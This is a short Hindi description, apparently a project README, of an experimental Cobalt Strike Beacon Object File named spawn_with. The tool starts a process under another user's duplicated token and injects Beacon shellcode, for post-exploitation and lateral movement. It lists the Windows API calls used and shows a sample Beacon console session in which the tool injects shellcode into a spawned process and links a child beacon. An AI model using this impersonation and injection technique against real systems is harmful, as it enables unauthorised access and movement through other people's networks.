
Cobalt Strike BOF जो किसी अन्य उपयोगकर्ता के टोकन का उपयोग करके एक प्रक्रिया शुरू करता है और Beacon शेलकोड इंजेक्ट करता है, जो प्रतिरूपण के माध्यम से पोस्ट-एक्सप्लॉइटेशन और पार्श्व गति को सक्षम बनाता है।
एक प्रायोगिक Beacon Object File (BOF) जो spawnas और inject कमांड्स का विकल्प प्रदान करता है। यह एक नया कमांड spawn_with [pid] [listener] उपलब्ध कराता है, जो निम्नलिखित कार्य करता है:
spawnto मान प्राप्त करें।CreateProcessWithTokenW का उपयोग करके डुप्लिकेट किए गए टोकन के साथ एक नई प्रक्रिया स्पॉन करने का प्रयास करें।
CreateProcessAsUserW आज़माएँ।beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
